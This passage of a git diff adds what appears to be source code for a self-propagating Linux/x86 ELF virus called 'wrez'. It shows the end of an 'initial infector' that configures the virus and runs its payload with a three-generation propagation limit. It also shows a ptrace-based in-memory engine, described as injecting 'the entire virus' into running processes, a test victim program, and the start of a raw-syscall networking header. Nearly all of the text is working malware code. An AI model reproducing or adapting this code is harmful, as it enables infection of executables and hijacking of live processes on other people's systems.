| 49 | char * progname; | ||
| 50 | FILE * cfgfp; | ||
| 51 | char cfgline[128]; | ||
| 52 | char lzstr[128]; | ||
| 53 | |||
| 54 | |||
| 55 | fprintf (stderr, "wrez engine - initial infector\n\n"); | ||
| 56 | |||
| 57 | progname = argv[0]; | ||
| 58 | if (argc < 2) | ||
| 59 | usage (progname); | ||
| 60 | |||
| 61 | while ((c = getopt (argc, argv, "c:i:")) != EOF) { | ||
| 62 | switch (c) { | ||
| 63 | case 'c': | ||
| 64 | configfile = optarg; | ||
| 65 | break; | ||
| 66 | case 'i': | ||
| 67 | infile = optarg; | ||
| 68 | break; | ||
| 69 | default: | ||
| 70 | usage (progname); | ||
| 71 | break; | ||
| 72 | } | ||
| 73 | } | ||
| 74 | |||
| 75 | victim = argv[argc - 1]; | ||
| 76 | if (victim[0] == '-') | ||
| 77 | usage (progname); | ||
| 78 | |||
| 79 | /* read in configuration file | ||
| 80 | */ | ||
| 81 | cfgfp = fopen (configfile, "r"); | ||
| 82 | if (cfgfp == NULL) { | ||
| 83 | perror ("fopen configfile"); | ||
| 84 | exit (EXIT_FAILURE); | ||
| 85 | } | ||
| 86 | |||
| 87 | while (fgets (cfgline, sizeof (cfgline), cfgfp) != NULL) { | ||
| 88 | unsigned char keyword[16]; | ||
| 89 | |||
| 90 | if (sscanf (cfgline, "%15[^ ]", keyword) != 1) { | ||
| 91 | fprintf (stderr, "invalid configuration file\n"); | ||
| 92 | exit (EXIT_FAILURE); | ||
| 93 | } | ||
| 94 | |||
| 95 | /* XXX: kludge, put a better parser in here | ||
| 96 | */ | ||
| 97 | if (strcmp (keyword, "configrel") == 0) { | ||
| 98 | if (sscanf (cfgline, "configrel %u", &cfg_delta) != 1) { | ||
| 99 | fprintf (stderr, "invalid configrel\n"); | ||
| 100 | exit (EXIT_FAILURE); | ||
| 101 | } | ||
| 102 | } else if (strcmp (keyword, "skip") == 0) { | ||
| 103 | if (sscanf (cfgline, "skip %u", &decomp_len) != 1) { | ||
| 104 | fprintf (stderr, "invalid skip\n"); | ||
| 105 | exit (EXIT_FAILURE); | ||
| 106 | } | ||
| 107 | } else if (strcmp (keyword, "compress") == 0) { | ||
| 108 | if (sscanf (cfgline, "compress %127s", lzstr) != 1) { | ||
| 109 | fprintf (stderr, "invalid compress\n"); | ||
| 110 | exit (EXIT_FAILURE); | ||
| 111 | } | ||
| 112 | } else { | ||
| 113 | fprintf (stderr, "invalid configuration file\n"); | ||
| 114 | exit (EXIT_FAILURE); | ||
| 115 | } | ||
| 116 | } | ||
| 117 | |||
| 118 | if (strlen (victim) >= sizeof (cfg->dyn.vinit.victim)) { | ||
| 119 | fprintf (stderr, "temporary victim filename can be no longer " | ||
| 120 | "than %d characters, yours is %d chars.\n", | ||
| 121 | sizeof (cfg->dyn.vinit.victim) - 1, | ||
| 122 | strlen (victim)); | ||
| 123 | |||
| 124 | exit (EXIT_FAILURE); | ||
| 125 | } | ||
| 126 | |||
| 127 | bfp = fopen (infile, "rb"); | ||
| 128 | if (bfp == NULL) { | ||
| 129 | perror ("fopen"); | ||
| 130 | |||
| 131 | exit (EXIT_FAILURE); | ||
| 132 | } | ||
| 133 | |||
| 134 | fseek (bfp, 0, SEEK_END); | ||
| 135 | infile_len = ftell (bfp); | ||
| 136 | fseek (bfp, 0, SEEK_SET); | ||
| 137 | |||
| 138 | infile_data = calloc (1, infile_len + 64 * 1024 + 2); | ||
| 139 | infile_data[0] = 0x9c; /* pushf */ | ||
| 140 | infile_data[1] = 0x60; /* pusha */ | ||
| 141 | |||
| 142 | if (fread (infile_data + 2, 1, infile_len, bfp) != infile_len) { | ||
| 143 | fprintf (stderr, "failed to read %s into memory, expected %ld " | ||
| 144 | "bytes, got less.\n", infile, infile_len); | ||
| 145 | exit (EXIT_FAILURE); | ||
| 146 | } | ||
| 147 | fclose (bfp); | ||
| 148 | |||
| 149 | printf ("# successfully read %ld bytes into memory\n", infile_len); | ||
| 150 | printf ("# fixing configuration structure\n"); | ||
| 151 | |||
| 152 | |||
| 153 | /* get new configuration structure, and change important settings: | ||
| 154 | * | ||
| 155 | * wr_start = virtual address of first byte of virus (dynamic) | ||
| 156 | * decomp_len = length of the decompression stub (static) | ||
| 157 | * victim = first-infection victim filename (dynamic), later used | ||
| 158 | * for flag data, see wrconfig.h | ||
| 159 | * cmprlen, llstuff, hl1stuff, hl2stuff, hf2stuff = decompression | ||
| 160 | * related data used by the decompression stub (static) | ||
| 161 | */ | ||
| 162 | cfg = (wrconfig *) (&infile_data[2] + cfg_delta); | ||
| 163 | |||
| 164 | printf ("# .. wr_start [0x%08lx] -> ", cfg->wr_start); | ||
| 165 | cfg->wr_start = (unsigned long int) &infile_data[2]; | ||
| 166 | printf ("[0x%08lx]\n", cfg->wr_start); | ||
| 167 | |||
| 168 | printf ("# .. decomp_len [%ld] -> ", cfg->decomp_len); | ||
| 169 | cfg->decomp_len = decomp_len; | ||
| 170 | printf ("[%ld]\n", cfg->decomp_len); | ||
| 171 | |||
| 172 | printf ("# .. elf_base [0x%08lx] -> ", cfg->elf_base); | ||
| 173 | cfg->elf_base = 0x08048000; /* XXX: kludge, hardcoded values */ | ||
| 174 | printf ("[0x%08lx]\n", cfg->elf_base); | ||
| 175 | |||
| 176 | printf ("# .. dyn.vinit.victim[%d] \"%s\" -> ", | ||
| 177 | sizeof (cfg->dyn.vinit.victim), | ||
| 178 | cfg->dyn.vinit.victim); | ||
| 179 | memcpy (cfg->dyn.vinit.victim, victim, strlen (victim) + 1); | ||
| 180 | printf ("\"%s\" (%d + 1 bytes)\n", cfg->dyn.vinit.victim, | ||
| 181 | strlen (victim)); | ||
| 182 | |||
| 183 | /* TODO: initialize dcfg structure | ||
| 184 | */ | ||
| 185 | dcfg.cnul = 0x00; | ||
| 186 | dcfg.flags = 0; | ||
| 187 | WRF_SET (dcfg.flags, WRF_GENERATION_LIMIT); | ||
| 188 | dcfg.icount = 3; /* three propagations, then infertile */ | ||
| 189 | WRF_SET (dcfg.flags, WRF_GET_FINGERPRINT); | ||
| 190 | memcpy (dcfg.xxx_temp, "victim", 7); | ||
| 191 | |||
| 192 | if (sizeof (wrdynconfig) > (VICTIM_LEN + sizeof (void *))) { | ||
| 193 | fprintf (stderr, "FATAL: sizeof wrdynconfig exceeds space: " | ||
| 194 | "%d > %d\n", sizeof (wrdynconfig), (VICTIM_LEN + | ||
| 195 | sizeof (void *))); | ||
| 196 | |||
| 197 | exit (EXIT_FAILURE); | ||
| 198 | } | ||
| 199 | |||
| 200 | printf ("# .. dyn.vinit.vcfgptr [0x%08lx] -> ", | ||
| 201 | (unsigned long int) cfg->dyn.vinit.vcfgptr); | ||
| 202 | cfg->dyn.vinit.vcfgptr = &dcfg; | ||
| 203 | printf ("[0x%08lx]\n", (unsigned long int) cfg->dyn.vinit.vcfgptr); | ||
| 204 | |||
| 205 | if (sscanf (lzstr, "%lu:%hu:%hu:%hu:%hu", | ||
| 206 | &cfg->cmprlen, &llstuff, &cfg->hl1stuff, &hl2stuff, | ||
| 207 | &hf2stuff) != 5) | ||
| 208 | { | ||
| 209 | fprintf (stderr, "failed to parse huffman string: %s\n", | ||
| 210 | argv[3]); | ||
| 211 | |||
| 212 | exit (EXIT_FAILURE); | ||
| 213 | } | ||
| 214 | cfg->llstuff = llstuff; | ||
| 215 | cfg->hl2stuff = hl2stuff; | ||
| 216 | cfg->hf2stuff = hf2stuff; | ||
| 217 | |||
| 218 | printf ("# .. cmprlen\tllstuff\thl1st\thl2st\thf2st\n"); | ||
| 219 | printf ("# 0x%04lx\t0x%02x\t0x%04x\t0x%02x\t0x%02x\n", | ||
| 220 | cfg->cmprlen, cfg->llstuff, cfg->hl1stuff, cfg->hl2stuff, | ||
| 221 | cfg->hf2stuff); | ||
| 222 | |||
| 223 | printf ("# fixed, ready to infect.\n"); | ||
| 224 | |||
| 225 | /* 0x83 0xc3 0xfc 0x83 = add $0xfffffffc, %ebx */ | ||
| 226 | __asm__ __volatile__ ( | ||
| 227 | "call *%%eax\n" | ||
| 228 | "add $0xfffffffc, %%ebx\n" | ||
| 229 | : : "a" (infile_data), "b" (infile_data)); | ||
| 230 | |||
| 231 | printf ("# infected.\n"); | ||
| 232 | |||
| 233 | exit (EXIT_SUCCESS); | ||
| 234 | } | ||
| 235 | |||
| 236 | |||
| 237 | |||
diff --git a/other/wrez/inmem b/other/wrez/inmem new file mode 100755 index 0000000..dc928aa --- /dev/null +++ b/other/wrez/inmem | |||
| Binary files differ | |||
diff --git a/other/wrez/inmem-test.c b/other/wrez/inmem-test.c new file mode 100644 index 0000000..ed15e35 --- /dev/null +++ b/other/wrez/inmem-test.c | |||
| @@ -0,0 +1,24 @@ | |||
| 1 | |||
| 2 | /* small victim program to test in-memory infection with | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <stdio.h> | ||
| 6 | #include <stdlib.h> | ||
| 7 | #include <unistd.h> | ||
| 8 | #include <time.h> | ||
| 9 | |||
| 10 | |||
| 11 | int | ||
| 12 | main (int argc, char *argv[]) | ||
| 13 | { | ||
| 14 | int i = 0; | ||
| 15 | |||
| 16 | srandom (time (NULL)); | ||
| 17 | |||
| 18 | for (;;) { | ||
| 19 | printf ("test %5d\n", i++); | ||
| 20 | usleep (400000); | ||
| 21 | (void) malloc (random () % 16384); | ||
| 22 | } | ||
| 23 | } | ||
| 24 | |||
diff --git a/other/wrez/inmem.c b/other/wrez/inmem.c new file mode 100644 index 0000000..00ef599 --- /dev/null +++ b/other/wrez/inmem.c | |||
| @@ -0,0 +1,300 @@ | |||
| 1 | /* in memory infection code | ||
| 2 | * for x86/linux and the broken ptrace interface only, so far. | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <sys/ptrace.h> | ||
| 6 | #include <sys/user.h> | ||
| 7 | #include "lookup-pm.h" | ||
| 8 | #include "wrconfig.h" | ||
| 9 | #include "common.c" | ||
| 10 | #include "wrutil.c" | ||
| 11 | #include "int80.h" | ||
| 12 | |||
| 13 | |||
| 14 | #define PF_PTR_MAGIC 0x0039f307 /* unlikely to appear */ | ||
| 15 | |||
| 16 | typedef struct { | ||
| 17 | int initial; /* when PF_PTR_MAGIC, struct is initialized */ | ||
| 18 | |||
| 19 | int pt_state; /* the ptrace state of the process */ | ||
| 20 | int pt_pid; /* pid that is being ptraced */ | ||
| 21 | } pf_ptrs; | ||
| 22 | |||
| 23 | |||
| 24 | /* local prototypes | ||
| 25 | */ | ||
| 26 | #define ptrace(r,p,a,d) im_ptrace(r,p,(void *)a,(void *)d) | ||
| 27 | static long im_ptrace (long request, long pid, void *addr, void *data); | ||
| 28 | static unsigned int pf_ptrace (void *addr); | ||
| 29 | |||
| 30 | |||
| 31 | /* ptrace | ||
| 32 | * | ||
| 33 | * use non-inlined ptrace, because we cannot pass more than three parameters | ||
| 34 | * with the syscall interface. | ||
| 35 | */ | ||
| 36 | |||
| 37 | static long | ||
| 38 | im_ptrace (long request, long pid, void *addr, void *data) | ||
| 39 | { | ||
| 40 | long ret; | ||
| 41 | |||
| 42 | __asm__ __volatile__ ( "int $0x80" | ||
| 43 | : "=a" (ret) | ||
| 44 | : "a" (__NR_ptrace), "b" (&request)); | ||
| 45 | |||
| 46 | return (ret); | ||
| 47 | } | ||
| 48 | |||
| 49 | |||
| 50 | static unsigned int | ||
| 51 | pf_ptrace (void *addr) | ||
| 52 | { | ||
| 53 | pf_ptrs * pfs; | ||
| 54 | unsigned int data; | ||
| 55 | |||
| 56 | /* static initialization stuff | ||
| 57 | */ | ||
| 58 | STATICPTR ((void *) pfs, "12"); | ||
| 59 | |||
| 60 | if (((unsigned int) addr) == PF_PTR_MAGIC) { | ||
| 61 | pfs->initial = PF_PTR_MAGIC; | ||
| 62 | |||
| 63 | return (0); | ||
| 64 | } else if (pfs->initial == PF_PTR_MAGIC) { | ||
| 65 | memcpy ((unsigned char *) pfs, (unsigned char *) addr, | ||
| 66 | sizeof (pf_ptrs)); | ||
| 67 | pfs->initial = 0; | ||
| 68 | |||
| 69 | return (0); | ||
| 70 | } | ||
| 71 | |||
| 72 | /* we have a sane pfs pointer by now, so we can actually get work done | ||
| 73 | */ | ||
| 74 | data = ptrace (PTRACE_PEEKDATA, pfs->pt_pid, addr, NULL); | ||
| 75 | |||
| 76 | #ifdef TESTING | ||
| 77 | printf ("pt: 0x%08x = PEEKDATA (pid = %5d, addr = 0x%08x)\n", | ||
| 78 | data, pfs->pt_pid, (unsigned int) addr); | ||
| 79 | #endif | ||
| 80 | |||
| 81 | /* FIXME: use kernel syscall interface to pull errno, since it is the | ||
| 82 | * only way we can tell, that ptrace failed. | ||
| 83 | */ | ||
| 84 | return (data); | ||
| 85 | } | ||
| 86 | |||
| 87 | |||
| 88 | int | ||
| 89 | inm_call (int pid, char *func, unsigned int *args, unsigned int args_count, | ||
| 90 | unsigned int *retval) | ||
| 91 | { | ||
| 92 | pf_ptrs pfi; /* initialization struct */ | ||
| 93 | void * pf_ptrace_ptr; /* local pointer to ptrace function */ | ||
| 94 | |||
| 95 | void * dst_func_entry; | ||
| 96 | int n; | ||
| 97 | int failure = 1; | ||
| 98 | |||
| 99 | /* ptrace low level variables | ||
| 100 | */ | ||
| 101 | struct user pt_user, /* original backup registers */ | ||
| 102 | pt_user_our; /* temporarily used by us */ | ||
| 103 | unsigned int addr; /* working address */ | ||
| 104 | unsigned int save_stack[8 + 1]; /* at max 8 arguments */ | ||
| 105 | #define OPC_MARKER 0xcccccccc | ||
| 106 | unsigned int save_opcode = OPC_MARKER; | ||
| 107 | /* opcode at current %eip */ | ||
| 108 | int status; /* traced process status */ | ||
| 109 | |||
| 110 | |||
| 111 | if (args_count > ((sizeof (save_stack) / sizeof (save_stack[0])) - 1)) | ||
| 112 | return (1); | ||
| 113 | |||
| 114 | pfi.initial = 0; | ||
| 115 | pfi.pt_state = 0; /* XXX: not yet used */ | ||
| 116 | pfi.pt_pid = pid; | ||
| 117 | |||
| 118 | pf_ptrace ((void *) PF_PTR_MAGIC); | ||
| 119 | pf_ptrace (&pfi); | ||
| 120 | |||
| 121 | FUNCPTR (pf_ptrace_ptr, "pf_ptrace"); | ||
| 122 | |||
| 123 | /* try to resolve "malloc" symbol | ||
| 124 | * XXX: assume a standard linux ELF memory layout, start at 0x08048000 | ||
| 125 | */ | ||
| 126 | dst_func_entry = symbol_resolve (pf_ptrace_ptr, | ||
| 127 | (void *) 0x08048000, func); | ||
| 128 | |||
| 129 | if (dst_func_entry == NULL) | ||
| 130 | return (1); | ||
| 131 | |||
| 132 | /* now that we have the address of malloc, lets get the space to | ||
| 133 | * inject us into the process | ||
| 134 | * | ||
| 135 | * order: 1. save anything we will modify later | ||
| 136 | * 2. build stack frame for malloc parameters and call malloc | ||
| 137 | * 3. restore everything we touched | ||
| 138 | */ | ||
| 139 | /* step 1: save registers and stack content */ | ||
| 140 | if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user) < 0) | ||
| 141 | return (1); | ||
| 142 | |||
| 143 | memcpy (&pt_user_our, &pt_user, sizeof (pt_user_our)); | ||
| 144 | |||
| 145 | addr = pt_user.regs.esp; | ||
| 146 | for (n = 0 ; n < (sizeof (save_stack) / sizeof (save_stack[0])) ; ++n) | ||
| 147 | save_stack[n] = ptrace (PTRACE_PEEKDATA, pid, | ||
| 148 | addr + 4 * n, NULL); | ||
| 149 | |||
| 150 | /* step 2: setup call frame on stack | ||
| 151 | * stack layout: | ||
| 152 | * | ||
| 153 | * pt_user.regs.esp -> top_val not modified | ||
| 154 | * + 4 parameter #last | ||
| 155 | * + ... parameter #1 | ||
| 156 | * new esp -> + ... return address set to magic | ||
| 157 | */ | ||
| 158 | for (addr = pt_user.regs.esp - sizeof (int), n = args_count - 1 ; | ||
| 159 | n >= 0 ; --n, addr -= 4) | ||
| 160 | { | ||
| 161 | if (ptrace (PTRACE_POKEDATA, pid, addr, args[n]) < 0) | ||
| 162 | goto bail; | ||
| 163 | } | ||
| 164 | |||
| 165 | /* now setup an "int3" trap at the current eip, and use this as | ||
| 166 | * return address. ptrace will poke into any kind of page protection, | ||
| 167 | * so this really should be no problem, even with -w pages. | ||
| 168 | * | ||
| 169 | * 1. put the retaddr on top of the stack | ||
| 170 | * 2. save the old opcodes from the current eip | ||
| 171 | * 3. overwrite the current instruction | ||
| 172 | */ | ||
| 173 | if (ptrace (PTRACE_POKEDATA, pid, addr, pt_user.regs.eip) < 0) | ||
| 174 | goto bail; | ||
| 175 | |||
| 176 | save_opcode = ptrace (PTRACE_PEEKDATA, pid, pt_user.regs.eip, NULL); | ||
| 177 | if (ptrace (PTRACE_POKEDATA, pid, pt_user.regs.eip, 0xcccccccc) < 0) | ||
| 178 | goto bail; | ||
| 179 | |||
| 180 | |||
| 181 | /* step 2: call malloc, redirect eip | ||
| 182 | */ | ||
| 183 | pt_user_our.regs.esp = addr; | ||
| 184 | pt_user_our.regs.eip = (unsigned int) dst_func_entry; | ||
| 185 | if (ptrace (PTRACE_SETREGS, pid, NULL, &pt_user_our) < 0) | ||
| 186 | goto bail; | ||
| 187 | |||
| 188 | #if 0 | ||
| 189 | /**** XXX: this is an alternative implementation using singlestepping. | ||
| 190 | * it is slower but does not have to modify the .text section of the | ||
| 191 | * running process. | ||
| 192 | */ | ||
| 193 | |||
| 194 | /* single step through malloc function, until we reach our magic | ||
| 195 | * return address (malloc return value is in %eax afterwards) | ||
| 196 | */ | ||
| 197 | do { | ||
| 198 | if (ptrace (PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) | ||
| 199 | goto bail; | ||
| 200 | |||
| 201 | wait (NULL); | ||
| 202 | |||
| 203 | if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user_our) < 0) | ||
| 204 | goto bail; | ||
| 205 | } while (pt_user_our.regs.eip != PF_RETADDR_MAGIC); | ||
| 206 | #endif | ||
| 207 | if (ptrace (PTRACE_CONT, pid, NULL, NULL) < 0) | ||
| 208 | goto bail; | ||
| 209 | |||
| 210 | waitpid (pid, &status, 0); /* detrap */ | ||
| 211 | if (WIFEXITED (status)) | ||
| 212 | goto bail; | ||
| 213 | |||
| 214 | /* save function return value for later use | ||
| 215 | */ | ||
| 216 | if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user_our) < 0) | ||
| 217 | goto bail; | ||
| 218 | *retval = (unsigned int) pt_user_our.regs.eax; | ||
| 219 | |||
| 220 | failure = 0; | ||
| 221 | |||
| 222 | bail: /* restore stack frame */ | ||
| 223 | for (n = 0 ; n < (sizeof (save_stack) / sizeof (save_stack[0])) ; ++n) | ||
| 224 | ptrace (PTRACE_POKEDATA, pid, addr + 4 * n, save_stack[n]); | ||
| 225 | |||
| 226 | /* restore registers */ | ||
| 227 | ptrace (PTRACE_SETREGS, pid, NULL, &pt_user); | ||
| 228 | |||
| 229 | if (save_opcode != OPC_MARKER) | ||
| 230 | ptrace (PTRACE_POKEDATA, pid, pt_user.regs.eip, save_opcode); | ||
| 231 | |||
| 232 | return (failure); | ||
| 233 | } | ||
| 234 | |||
| 235 | |||
| 236 | #ifdef TESTING | ||
| 237 | |||
| 238 | int | ||
| 239 | main (int argc, char *argv[]) | ||
| 240 | { | ||
| 241 | int fpid; | ||
| 242 | char * eargv[2]; | ||
| 243 | char * func; | ||
| 244 | unsigned int margs[1], | ||
| 245 | mret; | ||
| 246 | int status; | ||
| 247 | |||
| 248 | STRINGPTR (eargv[0], "/tmp/inmem-test"); | ||
| 249 | eargv[1] = NULL; | ||
| 250 | |||
| 251 | fpid = fork (); | ||
| 252 | if (fpid < 0) | ||
| 253 | _exit (0); | ||
| 254 | |||
| 255 | /* child */ | ||
| 256 | if (fpid == 0) { | ||
| 257 | if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) | ||
| 258 | _exit (0); | ||
| 259 | |||
| 260 | execve (eargv[0], eargv, NULL); | ||
| 261 | write (2, "FAILURE!\n", 9); | ||
| 262 | _exit (0); | ||
| 263 | } | ||
| 264 | |||
| 265 | wait (NULL); | ||
| 266 | |||
| 267 | /* now start the show, then wait a bit and inject ourselves | ||
| 268 | */ | ||
| 269 | ptrace (PTRACE_CONT, fpid, NULL, NULL); | ||
| 270 | |||
| 271 | sleep (1); | ||
| 272 | kill (fpid, SIGSTOP); | ||
| 273 | |||
| 274 | waitpid (fpid, &status, 0); | ||
| 275 | printf ("status: 0x%08x\n", status); | ||
| 276 | |||
| 277 | if (WIFEXITED (status)) { | ||
| 278 | printf ("child exited, aborting\n"); | ||
| 279 | |||
| 280 | _exit (1); | ||
| 281 | } | ||
| 282 | |||
| 283 | STRINGPTR (func, "malloc"); | ||
| 284 | margs[0] = 0x1234; | ||
| 285 | |||
| 286 | if (inm_call (fpid, func, margs, 1, &mret) != 0) { | ||
| 287 | printf ("malloc in victim process failed\n"); | ||
| 288 | |||
| 289 | _exit (1); | ||
| 290 | } | ||
| 291 | |||
| 292 | printf ("malloc in process %d: 0x%08x\n", fpid, mret); | ||
| 293 | ptrace (PTRACE_DETACH, fpid, NULL, NULL); | ||
| 294 | |||
| 295 | printf ("exiting\n"); | ||
| 296 | } | ||
| 297 | |||
| 298 | #endif | ||
| 299 | |||
| 300 | |||
diff --git a/other/wrez/inmem.h b/other/wrez/inmem.h new file mode 100644 index 0000000..b9eacd8 --- /dev/null +++ b/other/wrez/inmem.h | |||
| @@ -0,0 +1,35 @@ | |||
| 1 | /* inmem.c - in-memory runtime infection engine | ||
| 2 | * | ||
| 3 | * this module provide the capability to attach to other running processes | ||
| 4 | * through the 'ptrace' debug interface on linux/x86. it provides abstracted | ||
| 5 | * functions to call functions within the attached process and to infect the | ||
| 6 | * runtime image of the process with the entire virus in a safe way. it is | ||
| 7 | * optimized for a minimum of context switches, so infection does not delay | ||
| 8 | * normal execution. | ||
| 9 | */ | ||
| 10 | |||
| 11 | #ifndef INMEM_H | ||
| 12 | #define INMEM_H | ||
| 13 | |||
| 14 | |||
| 15 | /* inm_call | ||
| 16 | * | ||
| 17 | * obtain the address of function `func' in already traced process referenced | ||
| 18 | * by `pid' and call with parameter frame `args', which is `args_count' words | ||
| 19 | * long. when `retval' is non-NULL, store return value of function call in it. | ||
| 20 | * will clobber pf_ptrace's static frame. | ||
| 21 | * | ||
| 22 | * XXX: the process `pid' has to be in stopped state with us already having | ||
| 23 | * waitpid'ed on it, else this function might run into serious blocking | ||
| 24 | * or ptrace-misbehave issues. | ||
| 25 | * | ||
| 26 | * return 0 on success | ||
| 27 | * return != 0 on failure | ||
| 28 | */ | ||
| 29 | |||
| 30 | int inm_call (int pid, char *func, unsigned int *args, | ||
| 31 | unsigned int args_count, unsigned int *retval); | ||
| 32 | |||
| 33 | |||
| 34 | #endif | ||
| 35 | |||
diff --git a/other/wrez/inmem.o b/other/wrez/inmem.o new file mode 100644 index 0000000..04bc986 --- /dev/null +++ b/other/wrez/inmem.o | |||
| Binary files differ | |||
diff --git a/other/wrez/int80-net.h b/other/wrez/int80-net.h new file mode 100644 index 0000000..2e67eca --- /dev/null +++ b/other/wrez/int80-net.h | |||
| @@ -0,0 +1,429 @@ | |||
| 1 | |||
| 2 | |||
| 3 | #ifndef INT80_NET_H | ||
| 4 | #define INT80_NET_H | ||
| 5 | |||
| 6 | |||
| 7 | #define SOCK_STREAM 1 | ||
| 8 | #define SOCK_DGRAM 2 | ||
| 9 | #define SOCK_RAW 3 | ||
| 10 | |||
| 11 | #define PF_LOCAL 1 | ||
| 12 | #define PF_UNIX PF_LOCAL | ||
| 13 | #define PF_FILE PF_LOCAL | ||
| 14 | #define PF_INET 2 | ||
| 15 | #define PF_INET6 10 | ||
| 16 | #define PF_NETLINK 16 | ||
| 17 | #define PF_ROUTE PF_NETLINK | ||
| 18 | #define PF_PACKET 17 | ||
| 19 | |||
| 20 | #define AF_UNSPEC PF_UNSPEC | ||
| 21 | #define AF_LOCAL PF_LOCAL | ||
| 22 | #define AF_UNIX PF_UNIX | ||
| 23 | #define AF_FILE PF_FILE | ||
| 24 | #define AF_INET PF_INET | ||
| 25 | #define AF_INET6 PF_INET6 | ||
| 26 | #define AF_NETLINK PF_NETLINK | ||
| 27 | #define AF_ROUTE PF_ROUTE | ||
| 28 | #define AF_PACKET PF_PACKET | ||
| 29 | |||
| 30 | #define MSG_OOB 0x01 | ||
| 31 | #define MSG_PEEK 0x02 | ||
| 32 | #define MSG_DONTWAIT 0x40 | ||
| 33 | |||
| 34 | |||
| 35 | #pragma pack(1) | ||
| 36 | struct in_addr { | ||
| 37 | unsigned int s_addr; | ||
| 38 | }; | ||
| 39 | |||
| 40 | struct sockaddr_in { | ||
| 41 | // unsigned char sin_len; | ||
| 42 | unsigned short sin_family; | ||
| 43 | unsigned short sin_port; | ||
| 44 | struct in_addr sin_addr; | ||
| 45 | char sin_zero[8]; | ||
| 46 | }; | ||
| 47 | |||
| 48 | #define SYS_SOCKET 1 /* sys_socket(2) */ | ||
| 49 | #define SYS_BIND 2 /* sys_bind(2) */ | ||
| 50 | #define SYS_CONNECT 3 /* sys_connect(2) */ | ||
| 51 | #define SYS_LISTEN 4 /* sys_listen(2) */ | ||
| 52 | #define SYS_ACCEPT 5 /* sys_accept(2) */ | ||
| 53 | #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ | ||
| 54 | #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ | ||
| 55 | #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ | ||
| 56 | #define SYS_SEND 9 /* sys_send(2) */ | ||
| 57 | #define SYS_RECV 10 /* sys_recv(2) */ | ||
| 58 | #define SYS_SENDTO 11 /* sys_sendto(2) */ | ||
| 59 | #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ | ||
| 60 | #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ | ||
| 61 | #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ | ||
| 62 | #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ | ||
| 63 | #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ | ||
| 64 | #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ | ||
| 65 | |||
| 66 | typedef int socklen_t; | ||
| 67 | |||
| 68 | |||
| 69 | static inline int | ||
| 70 | socket (int domain, int type, int protocol) | ||
| 71 | { | ||
| 72 | register int ret; | ||
| 73 | |||
| 74 | __asm__ __volatile__ (" | ||
| 75 | pushl %3 | ||
| 76 | pushl %2 | ||
| 77 | pushl %1 | ||
| 78 | movl %%esp, %%ecx | ||
| 79 | int $0x80 | ||
| 80 | addl $0x0c, %%esp | ||
| 81 | " : "=a" (ret) | ||
| 82 | : "m" (domain), "m" (type), "m" (protocol), | ||
| 83 | "a" (__NR_socketcall), "b" (SYS_SOCKET) : "ecx"); | ||
| 84 | |||
| 85 | return (ret); | ||
| 86 | } | ||
| 87 | |||
| 88 | |||
| 89 | static inline int | ||
| 90 | bind (int sock, struct sockaddr_in *addr, socklen_t *addrlen) | ||
| 91 | { | ||
| 92 | register int ret; | ||
| 93 | |||
| 94 | __asm__ __volatile__ (" | ||
| 95 | pushl %3 | ||
| 96 | pushl %2 | ||
| 97 | pushl %1 | ||
| 98 | movl %%esp, %%ecx | ||
| 99 | int $0x80 | ||
| 100 | addl $0x0c, %%esp | ||
| 101 | " : "=a" (ret) | ||
| 102 | : "m" (sock), "m" (addr), "m" (addrlen), | ||
| 103 | "a" (__NR_socketcall), "b" (SYS_BIND) : "ecx"); | ||
| 104 | |||
| 105 | return (ret); | ||
| 106 | } | ||
| 107 | |||
| 108 | |||
| 109 | static inline int | ||
| 110 | connect (int sock, const struct sockaddr_in *addr, socklen_t *addrlen) | ||
| 111 | { | ||
| 112 | register int ret; | ||
| 113 | |||
| 114 | __asm__ __volatile__ (" | ||
| 115 | pushl %3 | ||
| 116 | pushl %2 | ||
| 117 | pushl %1 | ||
| 118 | movl %%esp, %%ecx | ||
| 119 | int $0x80 | ||
| 120 | addl $0x0c, %%esp | ||
| 121 | " : "=a" (ret) | ||
| 122 | : "m" (sock), "m" (addr), "m" (addrlen), | ||
| 123 | "a" (__NR_socketcall), "b" (SYS_CONNECT) : "ecx"); | ||
| 124 | |||
| 125 | return (ret); | ||
| 126 | } | ||
| 127 | |||
| 128 | |||
| 129 | static inline int | ||
| 130 | listen (int sock, int backlog) | ||
| 131 | { | ||
| 132 | register int ret; | ||
| 133 | |||
| 134 | __asm__ __volatile__ (" | ||
| 135 | pushl %2 | ||
| 136 | pushl %1 | ||
| 137 | movl %%esp, %%ecx | ||
| 138 | int $0x80 | ||
| 139 | addl $0x08, %%esp | ||
| 140 | " : "=a" (ret) | ||
| 141 | : "m" (sock), "m" (backlog), | ||
| 142 | "a" (__NR_socketcall), "b" (SYS_LISTEN) : "ecx"); | ||
| 143 | |||
| 144 | return (ret); | ||
| 145 | } | ||
| 146 | |||
| 147 | |||
| 148 | static inline int | ||
| 149 | accept (int sock, struct sockaddr_in *addr, socklen_t *addrlen) | ||
| 150 | { | ||
| 151 | register int ret; | ||
| 152 | |||
| 153 | __asm__ __volatile__ (" | ||
| 154 | pushl %3 | ||
| 155 | pushl %2 | ||
| 156 | pushl %1 | ||
| 157 | movl %%esp, %%ecx | ||
| 158 | int $0x80 | ||
| 159 | addl $0x0c, %%esp | ||
| 160 | " : "=a" (ret) | ||
| 161 | : "m" (sock), "m" (addr), "m" (addrlen), | ||
| 162 | "a" (__NR_socketcall), "b" (SYS_ACCEPT) : "ecx"); | ||
| 163 | |||
| 164 | return (ret); | ||
| 165 | } | ||
| 166 | |||
| 167 | |||
| 168 | static inline int | ||
| 169 | getsockname (int sock, struct sockaddr_in *name, socklen_t *namelen) | ||
| 170 | { | ||
| 171 | register int ret; | ||
| 172 | |||
| 173 | /* eeks, if just inlining was better documented. | ||
